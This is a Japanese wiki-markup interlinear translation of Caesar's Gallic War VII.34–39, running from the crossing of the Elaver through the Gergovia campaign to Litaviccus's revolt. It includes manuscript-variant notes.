*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/34節]]　{{進捗|00%|2026-10-18}}&lt;/span&gt;
;ハエドゥイー族を動員し、ローマ軍をカエサルとラビエーヌスの二隊に分散

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hoc [[wikt:en:decretum#Latin|decreto]] [[wikt:en:interpositus#Latin|interposito]], 
**この裁定を裁決すると、
*[[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ハエドゥイ族|ハエドゥイー族]]を&lt;small&gt;（以下のように）&lt;/small&gt;激励して、
*ut [[wikt:en:controversia#Latin|controversiarum]] ac [[wikt:en:dissensio#Latin|dissensionis]] [[wikt:en:obliviscerentur#Latin|obliviscerentur]] 
**&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;【&lt;/span&gt;&lt;small&gt;（部族内部の）&lt;/small&gt;論争や不和を忘れるように、
*atque, omnibus [[wikt:en:omissus#Latin|omissis]] his rebus 
**かつ、これらすべての事情を度外視して、
*huic bello [[wikt:en:servirent#Latin|servirent]], 
**&lt;small&gt;（ウェルキンゲトリークスとの）&lt;/small&gt;この戦争に尽くすように、
*&lt;u&gt;[[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quae&lt;/u&gt; [[wikt:en:meruissent#Latin|meruissent]], [[wikt:en:praemium#Latin|praemia]] ab se [[wikt:en:devictus#Latin|devicta]] Gallia [[wikt:en:exspectarent#Latin|exspectarent]], 
**ガッリアが征服されたときには&lt;small&gt;（彼らが）&lt;/small&gt;得るに値する自分&lt;small&gt;〔カエサル〕&lt;/small&gt;からの恩賞を期待するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae は、最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed. pr.]] による修正で、&lt;br&gt;　　　　　　　　&amp;alpha;系・&amp;rho;系写本では [[wikt:en:ea#Latin:_things|ea]] quae &lt;br&gt;　　　　　　　　&amp;pi;系写本では atque quae となっている。）&lt;/span&gt;
*[[wikt:en:equitatus#Latin:_cavalry|equitatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et [[wikt:en:pedes#Latin|peditum]] [[wikt:en:mille#Latin|milia]] X([[wikt:en:decem#Latin|decem]]) sibi celeriter [[wikt:en:mitterent#Latin|mitterent]], 
**&lt;small&gt;（ハエドゥイー族の）&lt;/small&gt;騎兵隊のすべてと歩兵1万名を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に速やかに派遣するように、
*quae in [[wikt:en:praesidium#Latin|praesidiis]] rei [[wikt:en:frumentarius#Latin|frumentariae]] causa [[wikt:en:disponeret#Latin|disponeret]], 
**それらは糧食供給のために守備隊として分けて置くものである、と&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;】&lt;/span&gt;
*[[wikt:en:exercitus#Latin:_noun|exercitum]] in duas partes [[wikt:en:divisit#Latin|divisit]]: 
**&lt;small&gt;（カエサルは）&lt;/small&gt;軍隊を二つの方面軍に分けた。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quattuor#Latin|quattuor]] [[wikt:en:legio#Latin|legiones]] in [[wikt:en:Senones#Latin|Senones]] [[wikt:en:Parisii#Latin|Parisios]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Labienus#Latin|Labieno]] [[wikt:en:ducendus#Latin|ducendas]] [[wikt:en:dedit#Latin|dedit]], 
**4個[[w:ローマ軍団|軍団]]をセノネース族やパリスィイー族のところに率いて行くべく[[w:ティトゥス・ラビエヌス|ラビエーヌス]]に委ねた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ラビエーヌス [[w:la:Titus Labienus|Labienus]] のこの遠征については&lt;br&gt;　　　　[[#57節|57節]]～62節で述べられる。）&lt;/span&gt;
*[[wikt:en:sex#Latin|sex]] ipse in [[wikt:en:Arverni#Latin|Arvernos]] ad oppidum [[wikt:en:Gergovia#Latin|Gergoviam]] 
**6個&lt;small&gt;（軍団）&lt;/small&gt;を自身&lt;small&gt;〔カエサル〕&lt;/small&gt;がアルウェルニー族のところの城塞都市ゲルゴウィアへ
[[画像:Brioude pont.JPEG|thumb|right|250px|エラウェル川（[[w:la:Elaver|Elaver]]）こと現在の[[w:アリエ川|アリエ川]]（Allier）。ハエドゥイー族領の境辺りでリゲル川（[[w:la:Liger|Liger]]）こと現[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）に合流する。]]
*[[wikt:en:secundum#Preposition_2|secundum]] flumen [[wikt:en:Elaver#Latin|Elaver]] [[wikt:en:duxit#Latin|duxit]]; 
**エラウェル川に沿って率いて行った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：エラウェル川 [[w:la:Elaver|Elaver]] は現在の[[w:アリエ川|アリエ川]] Allier である。）&lt;/span&gt;
*[[wikt:en:equitatus#Latin:_cavalry|equitatus]] partem illi [[wikt:en:adtribuit#Latin|adtribuit]], 
**騎兵隊の一部を彼&lt;small&gt;〔ラビエーヌス〕&lt;/small&gt;に割り当てて、
*partem sibi [[wikt:en:reliquit#Latin|reliquit]]. 
**&lt;small&gt;（別の）&lt;/small&gt;一部を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に残した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:cognitus#Participle|cognita]] 
**その事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は
*omnibus [[wikt:en:interruptus#Latin|interruptis]] eius fluminis [[wikt:en:pons#Latin|pontibus]] 
**その川のすべての橋を破却すると、
*ab [[wikt:en:alter#Latin|altera]] fluminis parte [[wikt:en:iter#Latin|iter]] facere [[wikt:en:coepit#Latin|coepit]].
**川の別の側を行軍し始めた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===35節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/35節]]　{{進捗|00%|2026-10-25}}&lt;/span&gt;
;カエサルが陽動によってエラウェル川に架橋、渡河する

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum uterque &lt;u&gt;utrimque exisset exercitus&lt;/u&gt;, in conspectu, fereque &lt;u&gt;e regione&lt;/u&gt; castris castra &lt;u&gt;ponebant&lt;/u&gt;, 
**&lt;small&gt;（ガッリア勢とローマ勢の）&lt;/small&gt;軍隊の双方が互いに視界にあって、ほぼ真向かいに互いの陣営を設置したときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：一つ目の下線部は、&amp;alpha;系写本では utrimque exisset exercitus だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では utrique esset exercitui となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：三つ目の下線部は、&amp;alpha;系写本では ponebant だが、&lt;br&gt;　　　　　　　　　　　　　&amp;beta;系写本では poneret となっている。）&lt;/span&gt;
*dispositis exploratoribus, necubi effecto ponte Romani copias traducerent. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;ローマ人の軍勢がどこにも橋を造って渡河しないように、偵察者たちを分けて置き、

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Erat in magnis &lt;u&gt;Caesari&lt;/u&gt; difficultatibus res, 
**カエサルにとって事態は大きな困難になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;pi;系写本では Caesari だが、&lt;br&gt;　　　　&amp;alpha;系写本などでは Caesaris となっている。）&lt;/span&gt;
*ne maiorem aestatis partem flumine impediretur, 
**夏の大部分にわたって&lt;small&gt;（対岸の敵との交戦が）&lt;/small&gt;川により妨げられるのではないか、
*quod non fere ante autumnum Elaver vado transiri solet. 
**──というのは、[[w:アリエ川|エラウェル川]]は秋の前はほとんど浅瀬を渡らない習わしであったからだ──。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Itaque, ne id accideret, 
**こうして、そのことが生じないように、
*silvestri loco castris positis 
**森林地帯に陣営を設置すると、
*&lt;u&gt;e regione&lt;/u&gt; unius eorum pontium, quos Vercingetorix rescindendos curaverat, 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]が切り裂かれるように手配していたところの橋の一つの真向かいに。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:e_regione#Latin|ē regiōne]]「まっすぐに」「～の真向かいに」。）&lt;/span&gt;
*postero die cum duabus legionibus &lt;u&gt;in occulto&lt;/u&gt; restitit; 
**翌日に、2個[[w:ローマ軍団|軍団]]とともに密かなところに留まった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:in_occulto#Latin|in occulto]]「ひそかに」「隠れた所で」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; reliquas copias cum omnibus impedimentis, ut consueverat, misit, 
**残りの軍勢&lt;small&gt;&lt;/small&gt;（＝4個軍団）をすべての輜重とともに、通常のように、出発させた。
*&lt;u&gt;captis&lt;/u&gt; quibusdam cohortibus, uti numerus legionum constare videretur. 
**軍団の数を保っていると（敵から）見られるように、いくつかの&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を含ませていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では captis だが、&lt;br&gt;　　　　写本Rの一部では carptis となっており、&lt;br&gt;　　　　校訂版により、apertis、distractis、sic collocatis などさまざまな修正提案がある。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; His, quam longissime possent, &lt;u&gt;egredi&lt;/u&gt; iussis, 
**彼ら（4個軍団）には、できる限り遠くまで前進することを命じた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では egredi だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では progredi となっている。）&lt;/span&gt;

*cum iam ex diei tempore coniecturam &lt;u&gt;ceperat&lt;/u&gt; in castra perventum, 
**すでに、日の時刻から（彼らが）宿営地に到達したと（カエサルが）推測をしたときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では ceperat だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では caperet となっている。）&lt;/span&gt;

*isdem sublicis, quarum pars inferior integra remanebat, pontem reficere coepit. 
**（前述の）同じ橋杭は、そのより下方の部分が損なわれないで残っていたので、橋を修復し始めた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter effecto opere 
**速やかに工事が成し遂げられて、
*legionibusque traductis et loco castris idoneo delecto, 
**&lt;small&gt;&lt;/small&gt;（2個）軍団が渡河させられて、陣営に適切な地点を選んで、
*reliquas copias revocavit. 
**残りの軍勢（＝4個軍団）を呼び戻した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Vercingetorix re cognita, 
**ウェルキンゲトリークスは事態を知って、
*ne contra suam voluntatem dimicare cogeretur, 
**自らの意向に反して&lt;small&gt;&lt;/small&gt;（ローマ勢と）争闘することを強いられないように、
*magnis itineribus antecessit.
**強行軍で&lt;small&gt;&lt;/small&gt;（ゲルゴウィアに向けて）先行した。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===36節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/36節]]　{{進捗|00%|2026-11-01}}&lt;/span&gt;
[[画像:FR-63-Gergovie.JPG|thumb|right|300px|[[w:ゲルゴウィア|ゲルゴウィア]]（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）の[[w:ピュイ＝ド＝ドーム県|ピュイ＝ド＝ドーム県]]県道978号（D978）からの眺望。19世紀の[[w:ウジェーヌ・ストッフェル|ウジェーヌ・ストッフェル]]大佐（colonel Eugène Stoffel）の発掘調査によって、城砦やローマ軍の溝の遺構などが発見され、当地がゲルゴウィアの古戦場だと確認された。]]
[[画像:Siège_GergovieI_-52.png|thumb|right|300px|ゲルゴウィアにおける両軍の布陣図。山の頂にある城塞都市に隣接してガッリア諸部族の陣営（黄色部分）、右方にローマ軍の大きな陣営（赤色部分）と左下にローマ軍の小さな陣営（赤色部分）が見える。推定される位置関係は19世紀の[[w:ウジェーヌ・ストッフェル|ストッフェル]]大佐の発掘調査に依拠しており、小陣営があった地点は現在のラ・ロシュ＝ブランシュ（[[w:fr:La Roche-Blanche (Puy-de-Dôme)|La Roche-Blanche]]）だと考えられている。]]
;両軍がゲルゴウィアの要衝に陣営を築く

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar ex eo loco quintis castris Gergoviam pervenit 
**カエサルは（渡河した）その地点から5回目の宿営でゲルゴウィアに到着した。
*equestrique eo die proelio levi facto, 
**（到着した）その日に（ガッリア勢と）軽微な[[w:騎兵|騎兵]]戦を闘って、
*perspecto urbis situ, quae posita in altissimo monte omnes aditus difficiles habebat, 
**山の非常に高いところに位置し、すべての接近路を困難なものとしている（ゲルゴウィアの）町の地勢を認識して、
*de expugnatione&lt;ref&gt;expugnatione はα系写本の記述で、β系写本では oppugnatione となっている。&lt;/ref&gt; desperavit, 
**（拙速に突撃するような）攻略については断念して、


*de obsessione non prius agendum constituit, quam rem frumentariam expedisset. 
**糧食調達の整備をするより前には、攻囲について行なうべきでないと決心した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; At Vercingetorix, castris prope oppidum in monte&lt;ref&gt;in monte はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; positis, 
**それに対して、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、山中の城塞都市の近くに陣営を設置して、


*mediocribus circum se intervallis separatim singularum civitatium&lt;ref&gt;civitatium はB･M･L･N写本の記述で、χ･S･β系写本では civitatum となっている。&lt;/ref&gt; copias conlocaverat 
**自陣の周りに、適切な間隔で個々の部族の軍勢を別々に駐屯させて、


*atque omnibus eius iugi collibus occupatis, qua despici poterat, 
**その尾根のうち（山麓を）見下ろすことができたすべての丘陵を占有して、
*horribilem speciem praebebat; 
**恐ろしげな姿を現わした。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; principesque earum civitatium&lt;ref&gt;civitatium はA･Q･B･M･L･N写本の記述で、Q･S･β系写本では civitatum となっている。&lt;/ref&gt;, quos sibi ad consilium capiendum delegerat, 
**（ウェルキンゲトリークス）自らが作戦を立てるために選び出していた諸部族の領袖たちに


*prima luce cotidie ad se convenire iubebat, 
**毎日、夜明けに自分のところへ集まることを命じた。
*&lt;u&gt;seu&lt;/u&gt; quid communicandum, &lt;u&gt;seu&lt;/u&gt; quid administrandum videretur, 
**何らかのことを伝達･協議するのか、あるいは何らかのことを指導するのだと思われる。

**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：seu ～ seu …「あるいは～、あるいは…」）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; neque ullum fere diem intermittebat, quin equestri proelio interiectis sagittariis, 
**騎兵戦に弓兵を介在させることを、ほとんどどの日も中断せずに、
*quid in quoque esset animi ac virtutis suorum, perspiceretur&lt;ref&gt;perspiceretur はα系写本の記述で、T写本では perspiceret、β系写本では periclitaretur となっている。&lt;/ref&gt;. 
**どのような心構えや武勇が、配下の者たちのおのおのにあるかを、吟味した。


:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Erat e regione oppidi collis sub ipsis radicibus montis 
**山のその麓の下方に、城塞都市の真向かいに、丘陵があって、
*egregie munitus atque ex omni parte circumcisus; 
**あらゆる方面から周囲が険しくて、（その地形により）すばらしく護られていた。
*quem si tenerent nostri, et aquae magna parte et pabulatione libera prohibituri hostes videbantur. 
**もし、それを我が方（ローマ勢）が占めれば、水源の大半と自由な糧秣徴発から敵たちを妨げるであろうと思われた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sed is locus praesidio ab his, non nimis firmo, tenebatur. 
**だが、その地点は、彼ら（ガッリア勢）により、大して強力ではない守備隊で占められていた。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Tamen silentio noctis Caesar ex castris egressus, 
**にもかかわらず（昼間ではなく）夜の静けさのうちに、カエサルは陣営から出撃して、
*priusquam subsidio ex oppido veniri posset, 
**城塞都市（のそばの陣営）から援兵に来られるより前に、
*deiecto praesidio potitus loco duas ibi legiones conlocavit 
**守備隊を追い出して、地点を占拠して、そこに2個[[w:ローマ軍団|軍団]]を駐屯させた。
*fossamque duplicem duodenum pedum a maioribus castris ad minora perduxit, 
**12&lt;u&gt;ペース&lt;/u&gt;の二重の堀を、より大きな陣営から（この丘陵の）より小さな陣営へ至らしめた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、12ペースは約3.6メートル。）&lt;/span&gt;

*ut tuto ab repentino hostium incursu singuli commeare possent.
**敵たちの不意の襲撃から安全に、1人1人が往来することができるように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===37節===
'''ハエドゥイー族のコンウィクトリタウィスがガッリア同盟軍に内応する'''
*①　Dum haec ad [[w:la:Gergovia|Gergoviam]] geruntur, 
**これらがゲルゴウィアのところでなされている間に、
*Convictolitavis [[w:la:Haedui|Haeduus]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]のコンウィクトリタウィスは、
*cui magistratum adiudicatum a Caesare demonstravimus, 
**その者はカエサルによって統領として承認されたと（[[#33節|33節]]で）既述したが、
*sollicitatus ab Arvernis pecunia cum quibusdam adulescentibus conloquitur, 
**[[w:アルウェルニ族|アルウェルニー族]]により金銭でそそのかされて、ある若者たちと談判した。
*quorum erat princeps Litaviccus atque eius fratres, 
**その者たちの領袖は[[w:リタウィックス|リタウィックス]]とその兄弟たちであり、
*amplissima familia nati adulescentes. 
**とても強大な一族に生まれた若者たちだった。
*②　Cum his praemium communicat 
**彼らとともに（アルウェルニー族からの）報酬を共有して、
*hortaturque, ut se liberos et imperio natos meminerint. 
**自分たちが自由民で支配層の生まれであるのを思い起こせ、と鼓舞した。
*③　Unam esse Haeduorum civitatem, quae certissimam Galliae victoriam distineat&lt;ref&gt;distineat はM･N･π･R写本などの記述で、Q･U写本などでは destineat 、A･B･S写本などでは dedistineat などとなっている。&lt;/ref&gt;; 
**ハエドゥイーの部族国家は、ガッリアの至極確実な勝利を阻んでいる唯一のものであり、
*eius auctoritate reliquas contineri; 
**その声望により、ほかの（同盟部族の）ものたちが（ローマ側に）保持されているが、
*qua traducta locum consistendi Romanis in Gallia non fore. 
**それが（ガッリア勢に）引き入れられることによって、ガッリアにおいてローマ人が留まり続ける場はないであろう。
*④　Esse nonnullo se Caesaris beneficio adfectum, 
**自分はカエサルの少なからぬ恩義をかけられているが、
*sic tamen, ut iustissimam apud eum causam obtinuerit; 
**しかし、彼（カエサル）のもとで至極合法的な理由を手に入れたまでであり、
*sed plus communi libertati tribuere. 
**しかし、（ガッリアの）共通の自由に従うことの方がより大きい。
*⑤　Cur enim potius Haedui de suo iure et de legibus ad Caesarem disceptatorem quam Romani ad Haeduos veniant? 
**なぜ実際、ハエドゥイー族は自らの法令や法制について、ローマ人がハエドゥイー族へ来るよりむしろ、カエサルを仲裁者とするのか？
*⑥　Celeriter adulescentibus et oratione magistratus et praemio deductis, 
**若者たちは速やかに、統領の演説と報酬によって導き入れられた。
*cum se vel principes eius consilii fore profiterentur, 
**自分たちがその謀計の首謀者にすらなろうと申し出たときに、
*ratio perficiendi quaerebatur, 
**（謀計を）成し遂げる方法が求められた。
*quod civitatem temere ad suscipiendum bellum adduci posse non confidebant. 
**というのは、部族がむやみに（ローマ人との）戦争実行へ動かされることができるとは確信していなかったからだ。
*⑦　Placuit, ut Litaviccus decem illis milibus, quae Caesari ad bellum mitterentur, praeficeretur atque ea ducenda curaret, 
**リタウィックスに、カエサルに戦争のために派遣されるあの（歩兵）1万名を指揮させ率いさせるのが良いとされた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：歩兵1万名については[[#34節|34節]]を参照。）&lt;/span&gt;
*fratresque eius ad Caesarem praecurrerent. 
**彼の兄弟たちは、カエサルのところへ先立って行った。
*Reliqua qua ratione agi placeat constituunt.
**残りのことが、どのようなやり方で行なわれるのが良いかが決められた。

===38節===
'''リタウィックスの鼓舞でハエドゥイー族の歩兵1万が挙兵する'''
*①　Litaviccus accepto exercitu 
**リタウィックスは（1万名の）歩兵隊を受け取って、
*cum milia passuum circiter XXX(triginta)&lt;ref&gt;XXX(triginta) はα系写本の記述で、β系写本では XL(quadraginta) となっている。&lt;/ref&gt; ab&lt;ref&gt;ab は写本(ω)の記述であるが、モイゼル（Henricus Meusel）は a を提案している。&lt;/ref&gt; [[w:la:Gergovia|Gergovia]] abesset, 
**[[w:ゲルゴウィア|ゲルゴウィア]]から約30[[w:ローママイル|ローママイル]]（＝45km弱）離れたところに来たときに、
*convocatis subito militibus lacrimans, 
**兵士たちを突然に呼び集めて、泣きながら、
*②　&quot;Quo proficiscimur,&quot; inquit, &quot;milites? 
**「兵士らよ、どこへ我々は進むのか？」と言った。
*Omnis noster equitatus, omnis nobilitas interiit; 
**「我が方（ハエドゥイー族）のすべての[[w:騎兵|騎兵隊]]とすべての高貴な者たちは滅んだ。
*principes civitatis, [[w:la:Eporedorix|Eporedorix]] et Viridomarus, 
**部族の領袖たち、エポレドリクスとウィリドマルスは、
*insimulati proditionis ab Romanis indicta causa interfecti sunt. 
**裏切りの罪を着せられて、ローマ人たちによって、弁解の余地なく殺されてしまったのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：indicta causa「弁解の余地なく」）&lt;/span&gt;
*③　Haec ab ipsis&lt;ref&gt;ipsis はα系写本の記述で、β系写本では his となっている。&lt;/ref&gt; cognoscite, qui ex ipsa caede fugerunt; 
**これは、その虐殺から逃げて来た当人たちから聞き知ってくれ。
*nam ego fratribus atque omnibus meis propinquis interfectis 
**なぜなら、私は、兄弟たちやすべての我が親族たちが殺されて
*dolore prohibeor, quae gesta sunt, pronuntiare.&quot; 
**悲嘆により、なされたことを物語ることを妨げられているからだ。」
*④　Producuntur hi&lt;ref&gt;hi はφ･β系写本の記述で、A写本では ii 、Q写本では hii となっている。&lt;/ref&gt;, quos ille edocuerat quae dici vellet, 
**彼（リタウィックス）が言って欲しいことを教え込んでいた者たちが連れ出されて来て、
*atque eadem, quae Litaviccus pronuntiaverat, multitudini exponunt: 
**リタウィックスが物語ったのと同じことを群衆に説明した。
*⑤　multos&lt;ref&gt;multos はα系写本の記述で、β系写本では omnes となっている。&lt;/ref&gt; equites [[w:la:Haedui|Haeduorum]] interfectos, quod conlocuti cum Arvernis dicerentur; 
**ハエドゥイー族の多くの騎兵たちは、アルウェルニー族と談判したと言われたので、殺された、と。
*ipsos se inter multitudinem militum occultasse atque ex media caede fugisse. 
**（彼ら）自身は、兵士ら多数の間に身を隠して、虐殺の最中から逃げて来たのだ、と。
*⑥　Conclamant Haedui et Litaviccum obsecrant, ut sibi consulat. 
**ハエドゥイー族の者たちは叫び声を上げて、リタウィックスに、自分たちに（どうするべきか）助言するように懇願した。
*&quot;Quasi vero&quot; inquit ille &quot;consilii sit res, ac non necesse sit 
**彼は言った「実にあたかも、事態が協議するべきというかのようだ。（協議する）必要はないのだ。
*nobis Gergoviam contendere et cum Arvernis nosmet coniungere. 
**我々にとって、ゲルゴウィアに急行して、アルウェルニー族と我々が合流することは。
*⑦　An dubitamus, quin nefario facinore admisso Romani iam ad nos interficiendos concurrant? 
**非道の悪行を犯したローマ人がもはや我々を殺戮するために襲いかかって来ることを疑うのかね？
*⑧　Proinde, si quid in nobis animi est, 
**それゆえに、もし我々に何らかの心構えがあるならば、
*persequamur eorum mortem, qui indignissime interierunt, 
**とても不面目に滅びた者たちの死に仇討ちしようではないか。
*atque hos latrones interficiamus.&quot; 
**かの略奪者たち（ローマ人）を誅殺しようではないか。」
*Ostendit cives Romanos, qui eius praesidii fiducia una erant&lt;ref&gt;erant は写本(ω)の記述であるが、モムゼン（Mommsen）らは ierant を提案している。&lt;/ref&gt;: 
**（リタウィックスは）彼の護衛を信頼して一緒にいたローマ市民たちを示した。
*⑨　Continuo&lt;ref&gt;Continuo はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; magnum numerum frumenti commeatusque diripit, 
**ただちに、（ローマ市民たちの）糧食や必需品の多数を略奪して、
*ipsos crudeliter excruciatos interficit. 
**当人たちを残酷に拷問して殺した。
*⑩　Nuntios tota civitate Haeduorum dimittit, 
**ハエドゥイー族の伝令たちを、部族全体にわたって遣わして、
*in&lt;ref&gt;in はβ系写本の記述だが、α系写本にはない。&lt;/ref&gt; eodem mendacio de caede equitum et principum permovet&lt;ref&gt;permovet はL･N写本の記述だが、B写本では permanet 、χ･M･S･β系写本などでは permonet となっている。&lt;/ref&gt;; 
**騎兵や領袖たちの虐殺について、同じ嘘によって扇動した。
*hortatur ut simili ratione atque ipse fecerit suas iniurias persequantur.
**（リタウィックス）自身がしたのと同様のやり方で、自分たちの（受けた）無法に仇討ちするようにと鼓舞した。

===39節===
'''エポレドリクスがハエドゥイー勢1万の寝返りをカエサルに知らせる'''
*①　[[w:la:Eporedorix|Eporedorix]] [[w:la:Haedui|Haeduus]], summo loco natus adulescens et summae domi potentiae, 
**[[w:ハエドゥイ族|ハエドゥイー族]]の[[w:エポレドリクス|エポレドリクス]]は、最高の身分に生まれた青年で、本国で最高の権勢にあった。
*et una Viridomarus, pari aetate et gratia, sed genere dispari, 
**とともに、[[w:ウィリドマルス|ウィリドマルス]]も、同じ年輩で、同様に敬意を受けていたが、異なる階級であった。
*quem Caesar ab Diviciaco sibi traditum ex humili loco ad summam dignitatem perduxerat, 
**カエサルは彼を[[w:ディウィキアクス|ディウィキアクス]]により託されて、低い身分から最高の地位へと引き立てていた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ディウィキアクスはかつてローマに援助を求めた有力者で、カエサルに殺されたドゥムノリクスの兄弟。）&lt;/span&gt;
*in equitum numero convenerant nominatim ab eo evocati. 
**（その2人は）彼（カエサル）から名指しで呼び出されて、[[w:騎兵|騎兵]]として（ローマの陣中に）一緒に来ていた。
*②　His erat inter se de principatu contentio 
**彼ら（2人）には、互いに指揮官の座についての競争があって、
*et in illa magistratuum controversia 
**あの統領をめぐる紛争においても
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#32節|32節]]～33節を参照。）&lt;/span&gt;
*alter pro Convictolitavi, alter pro Coto summis opibus pugnaverant&lt;ref&gt;pugnaverant はα系写本の記述で、β系写本では pugnaverat となっている。&lt;/ref&gt;. 
**一方は[[w:コンウィクトリタウィス|コンウィクトリタウィス]]のために、他方は[[w:コトゥス|コトゥス]]のために、最大限の助力で奮闘していた。
*③　Ex his Eporedorix cognito Litavicci consilio 
**彼らのうちエポレドリクスが[[w:リタウィックス|リタウィックス]]の謀計を知って、
*media fere nocte rem ad Caesarem defert; 
**ほぼ真夜中に、事情をカエサルのところへ報知した。
